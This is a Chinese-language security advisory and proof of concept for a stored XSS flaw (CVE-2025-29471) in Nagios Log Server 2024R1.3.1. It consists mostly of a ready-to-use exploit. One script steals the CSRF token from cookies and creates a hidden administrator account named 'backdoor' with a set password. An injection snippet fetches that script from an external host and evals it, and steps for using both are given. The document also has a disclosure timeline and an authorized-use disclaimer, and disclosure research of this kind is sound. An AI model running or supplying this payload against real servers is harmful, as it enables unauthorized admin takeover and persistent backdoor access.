2024R1.3.1 及以下Nagios Log Server 2024R1.3.1(默认配置,Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H仅限授权测试与研究用途。 请勿在您不拥有或未获得明确测试许可的系统上测试或利用此漏洞。
Nagios Log Server 2024R1.3.1 中存在一个存储型 XSS 漏洞,允许低权限用户将恶意 JavaScript 注入其个人资料的“email”字段。
当管理员查看审计日志时,该载荷会被执行,从而导致通过未经授权创建管理员账户实现权限提升。
xss.js 载荷托管在您的外部服务器上,内容如下。GitHub 即可正常使用。将 <target-ip> 更新为 Nagios Log Server 目标的 IP/主机名。
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
以标准(非管理员)用户身份登录 Nagios Log Server。
导航至个人资料更新端点:
http://<target-ip>/nagioslogserver/profile/update
将以下 payload 注入到 email 字段中。将 fetch 行更新为存储 xss.js 的 URL。
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor 身份登录,在 Nagios Log Server 中获得完整的管理员访问权限。Nagios Log Server 2024R2Nagios Log Server 2024R2 已修复该存储型 XSS 漏洞,并通知了 NagiosCVE-2025-29471,但由于厂商未发布公开安全公告,详细信息仍未公开2024R1.3.2),将存储型 XSS 漏洞修复向后移植到 2024R1 分支CVE-2025-29471 正式发布本工作是在我的雇佣关系之外进行的,反映了我个人在网络安全研究方面的努力。